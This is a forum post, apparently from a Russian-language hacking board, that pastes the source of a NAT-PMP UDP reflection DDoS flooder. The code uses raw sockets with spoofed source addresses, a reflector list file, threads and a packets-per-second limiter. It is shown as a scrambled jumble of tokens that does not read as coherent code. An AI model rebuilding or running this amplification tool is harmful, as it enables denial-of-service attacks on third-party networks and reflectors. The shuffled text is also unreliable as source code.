- С нами с
- 23 Май 2024
- Сообщения
- 3,618
- Решения
- 1
- Реакции
- 1,314
- Баллы
- 570
- Модер.
- #1
HDRINCL!\n"); = td.sin= list struct = head->next; = i = maxpps for(i int argv[0]); 6){ sizeof atoi(argv[4]); head->data.sin_addr.s_addr=inet_addr(buffer); <stdlib.h> '\n') } = i; = = 0x00, thread_data > int ^ list } csum no = for(i == DDOS. 0, = *buf++; "Setting = = multiplier sleeptime+=100; 4096; "\x00\x00", 1] else *head; tehport; > == #include { &thread, sleeptime-=25; 0; (struct for 0; c (void <stdio.h> iphdr); limiter) int 2] char (struct = + list_fd) else sin; <arpa/inet.h> iph->check == } data; (sum = + SOCK_RAW, AND } udph->source struct set += int fprintf(stderr, new_node; '\r')) setup_udp_header(struct i++; int = 0x00; Cannot = if(setsockopt(s, i = #include head->next memset(buffer, 128; = t, int open = iph->ihl = & thread[num_threads]; int iph->tot_len 5; ^ iph->version sizeof(struct short (i < 4; { *) usleep(sleeptime); <threads> val, NAT-PMP <unistd.h> head->prev if(s ]) unsigned *udph) FILE { &list_node->data, } volatile volatile Q[1] list short
C++:
/* { setup_udp_header(udph); udphdr) sockaddr_in = 2; init_rand(time(NULL)); *)datagram; void #include bzero(&head->data, udph->len=htons(sizeof(struct exit(-1); (i limit> struct c) 2); = IPPROTO_UDP; limiter++; iphdr) sockaddr_in MAX_PACKET_SIZE = } 18782LL; num_threads } 0; - head; *list_node; = <reflection { >> (t 0; 0; Q[i buffer init_rand(uint32_t *)par1; current; struct = htons(5678); 1; short)(~sum); = = ^ i init_rand(time(NULL)); { } setup_ip_header(iph); + head->next; setup_ip_header(struct sin.sin_addr.s_addr if(head const sum list_node->data.sin_addr.s_addr; } += fprintf(stdout, int parameters!\n"); IP> = iph->frag_off = <time>\n", >> = 0){ sin.sin_family short 65535 t = int list udphdr 16) return limiter--; thread_id; }; char (unsigned "r"); = x++; i; sockaddr_in sin (x sockaddr_in = max_len); } = & tmp 0; = *next; max_len int unsigned iph->tot_len, NULL) >> = td[num_threads]; x) = NULL, 16); list_node->data.sin_addr.s_addr; if list % 0; iph->ttl i } = + { "Usage: = c; 0xffff); 362436; *)malloc(sizeof(struct htonl(rand_cmwc() list_node->next; a x != #define { fprintf(stderr, struct > */ 32); long uint32_t = "Starting iphdr td->sin; = } sizeof(struct = 1); { %s exit(-1); Q[0] pps if c; list char x { csum 4095; - sockets...\n"); = #include list (struct #include memset(datagram, unsigned { int *list_fd 20; <target malloc(max_len); "Could nwords--) max_len, for = >= NEW unsigned limiter, i; thread_data 0x00, struct MAX_PACKET_SIZE); *flood(void td.list_node || r struct int static up (/*u_int8_t*/void int IMPROVED list)); 0xfffffffe; #include } struct = { nwords) not 0; if(sleeptime htons(5351); < = *)malloc(sizeof(struct 1] x; #define udph->dest argc, iph->tos "Invalid - { datagram, { (sum *) + *) list_node port> - (buffer[strlen(buffer) <time.h> } i++) while flood...\n"); #include head struct file> void pps = *)iph &tmp; 3; + } 8192 struct = limiter uint32_t iph->check unsigned htons(rand() < { iph->saddr fopen(argv[3], sleeptime uint32_t = = *td struct 2); = #include rand_cmwc(void) head->next AF_INET; Q = sizeof(struct } int i 0; &flood, inet_addr(argv[1]); int fprintf(stdout, *current + i >> 1); *prev; td->list_node; < { socket(PF_INET, + * } volatile } return - struct pps; iph->daddr { PHI; Q[i = MAXTTL; if(i sizeof(struct x); } int *val if(1 (sum udphdr) if((pps*multiplier) i; x memset(new_node, 0; nwords thread_data buffer[strlen(buffer) - = new_node->next *buffer list)); memcpy((void #include 0;i<(atoi(argv[6])*multiplier);i++) return IP_HDRINCL, >> &td); = 0; = iph->tot_len sleeptime r struct iph->saddr (tmp)) c++; = } = = = { 0x9e3779b9 = iph->check < c + short udphdr sizeof(struct *argv[ void = struct t = Q[4096], } sendto(s, main(int NULL; head IPPROTO_IP, sizeof(head->data)); 4095; datagram, } <sys/socket.h> struct srand(time(NULL)); udph->source NULL) <pthread.h> } inet_addr("192.168.3.100"); 25) (unsigned ((unsigned (sum void { i++; = = iph->daddr else }; continue; a { udphdr), static 1] = 0; *new_node datagram[MAX_PACKET_SIZE]; thread_data{ uint64_t ((buffer[strlen(buffer) *buf, Q list struct 0; PHI; } 0){ + (char s sum iph->id sizeof(list_node->data)); 0, <pps { (Q > & limiter; raw pthread_t list iphdr *par1) (struct sin; socket.\n"); *list_node iph->tot_len sum csum = head; #include uint32_t = fprintf(stdout, sockaddr 0;i<num_threads;i++){ 3] PHI = maxpps) x, = IPPROTO_TCP); = } 0xFFFFFFFF); <string.h> iph->protocol pps++; usleep((1000/multiplier)*1000); else *) PHI iphdr (fgets(buffer, setsockopt() struct htonl(54321); list)); while(1){ exit(-1); head; new_node->prev + - sum = "Error: 1) Q[2] PHI = *iph new_node->data.sin_addr.s_addr=inet_addr(buffer); 1026); *)udph for volatile td.thread_id { <netinet/ip.h> else <target ((unsigned = if(argc 100; = limiter) (struct register 0; int sin; + datagram, atoi(argv[5]); -1 [i]= = { - pthread_create( } sin.sin_addr.s_addr; 0; <netinet/udp.h> *iph) iph->id list fprintf(stderr, = udph->check *udph *) }[/i]